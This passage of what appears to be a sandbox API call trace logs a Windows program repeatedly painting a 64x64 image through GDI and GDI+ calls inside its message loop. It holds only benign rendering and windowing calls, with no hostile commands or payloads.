lpPaint=0x15dce8) returned 0x3010b83 [0133.198] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.198] CreateCompatibleDC (hdc=0x3010b83) returned 0x5a0107cb [0133.198] SelectObject (hdc=0x5a0107cb, h=0x1a05067e) returned 0x185000f [0133.198] GdipCreateFromHDC (hdc=0x5a0107cb, graphics=0x15daf0) returned 0x0 [0133.199] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.199] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.199] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.199] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.199] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.199] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.199] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.199] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.200] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.200] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.200] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.200] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0133.200] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.200] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.200] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.200] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.200] GetSystemMetrics (nIndex=42) returned 0 [0133.200] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.200] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.200] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.200] CoTaskMemFree (pv=0x1e7ac120) [0133.200] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.201] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.201] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.201] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.201] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.201] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.201] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.201] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.201] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.201] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0133.201] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.201] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.202] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.202] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.202] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.202] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.202] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.202] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.202] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.202] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.202] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.202] GetCurrentObject (hdc=0x5a0107cb, type=0x1) returned 0x1b00017 [0133.202] GetCurrentObject (hdc=0x5a0107cb, type=0x2) returned 0x1900010 [0133.203] GetCurrentObject (hdc=0x5a0107cb, type=0x7) returned 0x1a05067e [0133.203] GetCurrentObject (hdc=0x5a0107cb, type=0x6) returned 0x18a002e [0133.203] SaveDC (hdc=0x5a0107cb) returned 1 [0133.203] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff940407c3 [0133.203] GetClipRgn (hdc=0x5a0107cb, hrgn=0xffffffff940407c3) returned 0 [0133.203] SelectClipRgn (hdc=0x5a0107cb, hrgn=0x64040b8a) returned 2 [0133.203] DeleteObject (ho=0xffffffff940407c3) returned 1 [0133.203] DeleteObject (ho=0x64040b8a) returned 1 [0133.203] OffsetViewportOrgEx (in: hdc=0x5a0107cb, x=0, y=0, lppt=0x27f1040 | out: lppt=0x27f1040) returned 1 [0133.203] GetNearestColor (hdc=0x5a0107cb, color=0xffffff) returned 0xffffff [0133.204] CreateSolidBrush (color=0xffffff) returned 0x6c100190 [0133.204] FillRect (hDC=0x5a0107cb, lprc=0x15d7c0, hbr=0x6c100190) returned 1 [0133.204] DeleteObject (ho=0x6c100190) returned 1 [0133.204] RestoreDC (hdc=0x5a0107cb, nSavedDC=-1) returned 1 [0133.204] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.204] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a0107cb) returned 0x0 [0133.204] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd0e0dbd) returned 0x0 [0133.204] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.204] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0133.204] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.204] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.204] GetSystemMetrics (nIndex=42) returned 0 [0133.204] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.204] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.204] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.205] CoTaskMemFree (pv=0x1e7ac120) [0133.205] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.205] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.205] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.205] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.205] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5a0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.205] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a0107cb) returned 0x0 [0133.205] SelectObject (hdc=0x5a0107cb, h=0x185000f) returned 0x1a05067e [0133.205] DeleteDC (hdc=0x5a0107cb) returned 1 [0133.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.205] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.205] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.206] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.206] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.206] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.206] WaitMessage () returned 1 [0133.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.384] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.384] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.384] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.384] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.384] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.384] GetCurrentThreadId () returned 0xec0 [0133.384] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.385] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.385] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.385] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.385] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.385] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.385] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0133.385] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.385] CreateCompatibleDC (hdc=0x3010b83) returned 0x5b0107cb [0133.385] SelectObject (hdc=0x5b0107cb, h=0x1a05067e) returned 0x185000f [0133.385] GdipCreateFromHDC (hdc=0x5b0107cb, graphics=0x15daf0) returned 0x0 [0133.385] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.386] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.386] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.386] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.386] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.386] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.386] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.387] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.387] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.387] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.387] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0133.387] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.387] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.387] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.387] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.387] GetSystemMetrics (nIndex=42) returned 0 [0133.387] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.388] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.388] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.388] CoTaskMemFree (pv=0x1e7ac120) [0133.388] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.388] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.388] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.388] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.388] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.388] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.388] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.388] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.389] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.389] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0133.389] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.389] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.390] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.390] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.390] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.390] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.390] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.390] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.390] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.390] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.390] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.390] GetCurrentObject (hdc=0x5b0107cb, type=0x1) returned 0x1b00017 [0133.391] GetCurrentObject (hdc=0x5b0107cb, type=0x2) returned 0x1900010 [0133.391] GetCurrentObject (hdc=0x5b0107cb, type=0x7) returned 0x1a05067e [0133.391] GetCurrentObject (hdc=0x5b0107cb, type=0x6) returned 0x18a002e [0133.391] SaveDC (hdc=0x5b0107cb) returned 1 [0133.391] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x65040b8a [0133.391] GetClipRgn (hdc=0x5b0107cb, hrgn=0x65040b8a) returned 0 [0133.391] SelectClipRgn (hdc=0x5b0107cb, hrgn=0xffffffff950407c3) returned 2 [0133.391] DeleteObject (ho=0x65040b8a) returned 1 [0133.391] DeleteObject (ho=0xffffffff950407c3) returned 1 [0133.391] OffsetViewportOrgEx (in: hdc=0x5b0107cb, x=0, y=0, lppt=0x27f1978 | out: lppt=0x27f1978) returned 1 [0133.392] GetNearestColor (hdc=0x5b0107cb, color=0xffffff) returned 0xffffff [0133.392] CreateSolidBrush (color=0xffffff) returned 0x6d100190 [0133.392] FillRect (hDC=0x5b0107cb, lprc=0x15d7c0, hbr=0x6d100190) returned 1 [0133.392] DeleteObject (ho=0x6d100190) returned 1 [0133.392] RestoreDC (hdc=0x5b0107cb, nSavedDC=-1) returned 1 [0133.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.392] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b0107cb) returned 0x0 [0133.392] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd0c0dbd) returned 0x0 [0133.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.392] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0133.393] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.393] GetSystemMetrics (nIndex=42) returned 0 [0133.393] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.393] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.393] CoTaskMemFree (pv=0x1e7ac120) [0133.393] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0133.397] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.397] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.397] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.397] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.397] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5b0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.398] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b0107cb) returned 0x0 [0133.398] SelectObject (hdc=0x5b0107cb, h=0x185000f) returned 0x1a05067e [0133.398] DeleteDC (hdc=0x5b0107cb) returned 1 [0133.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.398] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.398] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.398] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.398] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.398] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.398] WaitMessage () returned 1 [0133.541] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.541] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.541] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.541] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.541] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.542] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.542] GetCurrentThreadId () returned 0xec0 [0133.542] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.542] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.542] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.542] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.542] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.542] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.542] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0133.542] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.542] CreateCompatibleDC (hdc=0x3010b83) returned 0x5c0107cb [0133.543] SelectObject (hdc=0x5c0107cb, h=0x1a05067e) returned 0x185000f [0133.543] GdipCreateFromHDC (hdc=0x5c0107cb, graphics=0x15daf0) returned 0x0 [0133.543] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.543] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.543] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.543] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.543] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.543] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.543] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.544] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.544] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.544] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.544] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.544] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0133.544] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.544] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.544] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.544] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.544] GetSystemMetrics (nIndex=42) returned 0 [0133.544] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.545] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.545] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.545] CoTaskMemFree (pv=0x1e7ac120) [0133.545] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.545] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.545] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.545] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.545] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.545] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.545] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.545] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.546] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.546] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0133.546] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.546] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.546] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.546] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.546] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.547] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.547] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.547] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.547] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.547] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.547] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.547] GetCurrentObject (hdc=0x5c0107cb, type=0x1) returned 0x1b00017 [0133.547] GetCurrentObject (hdc=0x5c0107cb, type=0x2) returned 0x1900010 [0133.547] GetCurrentObject (hdc=0x5c0107cb, type=0x7) returned 0x1a05067e [0133.547] GetCurrentObject (hdc=0x5c0107cb, type=0x6) returned 0x18a002e [0133.547] SaveDC (hdc=0x5c0107cb) returned 1 [0133.547] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff960407c3 [0133.547] GetClipRgn (hdc=0x5c0107cb, hrgn=0xffffffff960407c3) returned 0 [0133.548] SelectClipRgn (hdc=0x5c0107cb, hrgn=0x66040b8a) returned 2 [0133.548] DeleteObject (ho=0xffffffff960407c3) returned 1 [0133.548] DeleteObject (ho=0x66040b8a) returned 1 [0133.548] OffsetViewportOrgEx (in: hdc=0x5c0107cb, x=0, y=0, lppt=0x27f2c70 | out: lppt=0x27f2c70) returned 1 [0133.548] GetNearestColor (hdc=0x5c0107cb, color=0xffffff) returned 0xffffff [0133.548] CreateSolidBrush (color=0xffffff) returned 0x6e100190 [0133.548] FillRect (hDC=0x5c0107cb, lprc=0x15d7c0, hbr=0x6e100190) returned 1 [0133.548] DeleteObject (ho=0x6e100190) returned 1 [0133.548] RestoreDC (hdc=0x5c0107cb, nSavedDC=-1) returned 1 [0133.548] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.548] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c0107cb) returned 0x0 [0133.548] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd0a0dbd) returned 0x0 [0133.548] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.549] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0133.549] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.549] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.549] GetSystemMetrics (nIndex=42) returned 0 [0133.549] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.549] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.549] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.549] CoTaskMemFree (pv=0x1e7ac120) [0133.549] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.549] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.549] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.549] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.549] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5c0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.550] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.550] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c0107cb) returned 0x0 [0133.550] SelectObject (hdc=0x5c0107cb, h=0x185000f) returned 0x1a05067e [0133.550] DeleteDC (hdc=0x5c0107cb) returned 1 [0133.550] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.550] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.550] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.550] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.550] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.550] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.550] WaitMessage () returned 1 [0133.712] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.712] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.712] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.712] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.712] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.712] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.712] GetCurrentThreadId () returned 0xec0 [0133.712] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.712] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.713] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.713] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 